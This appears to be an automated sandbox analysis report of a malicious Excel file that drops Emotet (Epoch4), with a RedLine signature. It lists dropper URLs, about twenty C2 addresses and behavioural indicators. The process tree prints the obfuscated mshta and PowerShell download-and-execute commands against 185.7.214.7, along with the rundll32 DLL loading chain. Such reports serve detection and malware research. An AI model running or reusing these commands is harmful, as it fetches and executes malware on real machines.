Analysis

  • max time kernel
    155s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    18/01/2022, 20:28

General

  • Target
    b7abd037919427beae6e7fdf5ce1d245.xls
  • Size 142KB
  • Sample220118-y8z6csdbdj
  • SHA256 4e93c1dcd947587f5eafca098b66e47c5a20fe2106e01e044249c2ecf1087a69
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://185.7.214.7/ve/ve.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/ve/ve.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b7abd037919427beae6e7fdf5ce1d245.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1884
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1296
      • C:\Windows\system32\mshta.exe
        mshta http://185.7.214.7/ve/ve.html
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3524
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/ve/ve.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1976
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:352
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2000
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:2964
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ttsmkdpipzntmnlw\qzylgcuvxcnq.wxu",ZsQwdV
                  8⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:1648
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ttsmkdpipzntmnlw\qzylgcuvxcnq.wxu",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3532
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3524 -s 1724
          4⤵
          • Program crash
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:3900
  • C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -pss -s 424 -p 3524 -ip 3524
    1⤵
    • Suspicious use of NtCreateProcessExOtherParentProcess
    • Suspicious use of WriteProcessMemory
    PID:224

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/1648-205-0x0000000000920000-0x0000000000946000-memory.dmp

        memory/1884-133-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

        memory/1884-138-0x00007FFCC1470000-0x00007FFCC1480000-memory.dmp

        memory/1884-130-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

        memory/1884-137-0x00007FFCC1470000-0x00007FFCC1480000-memory.dmp

        memory/1884-134-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

        memory/1884-132-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

        memory/1884-131-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

        memory/1976-170-0x00000260265C0000-0x000002603E690000-memory.dmp

        memory/1976-174-0x00000260265C0000-0x000002603E690000-memory.dmp

        memory/1976-175-0x000002603ECA0000-0x000002603ECE4000-memory.dmp

        memory/1976-169-0x000002603E630000-0x000002603E652000-memory.dmp

        memory/1976-193-0x000002603ECF0000-0x000002603ED66000-memory.dmp

        memory/1976-171-0x00000260265C0000-0x000002603E690000-memory.dmp

        memory/2000-188-0x0000000004E30000-0x0000000004E56000-memory.dmp

        memory/2964-196-0x0000000004DC0000-0x0000000004DE6000-memory.dmp

        memory/2964-200-0x0000000004F20000-0x0000000004F46000-memory.dmp

        memory/2964-198-0x0000000004EC0000-0x0000000004EE6000-memory.dmp

        memory/2964-203-0x00000000050A0000-0x00000000050C6000-memory.dmp

        memory/2964-194-0x0000000004CE0000-0x0000000004D06000-memory.dmp

        memory/2964-191-0x0000000002D60000-0x0000000002D86000-memory.dmp

        memory/3532-210-0x0000000004970000-0x0000000004996000-memory.dmp

        memory/3532-208-0x00000000029C0000-0x00000000029E6000-memory.dmp

        memory/3532-212-0x0000000004A50000-0x0000000004A76000-memory.dmp

        memory/3532-214-0x0000000004AB0000-0x0000000004AD6000-memory.dmp

        memory/3532-216-0x0000000004B90000-0x0000000004BB6000-memory.dmp

        memory/3532-218-0x0000000004C90000-0x0000000004CB6000-memory.dmp

        memory/3532-220-0x0000000004DB0000-0x0000000004DD6000-memory.dmp

        memory/3532-222-0x0000000004EA0000-0x0000000004EC6000-memory.dmp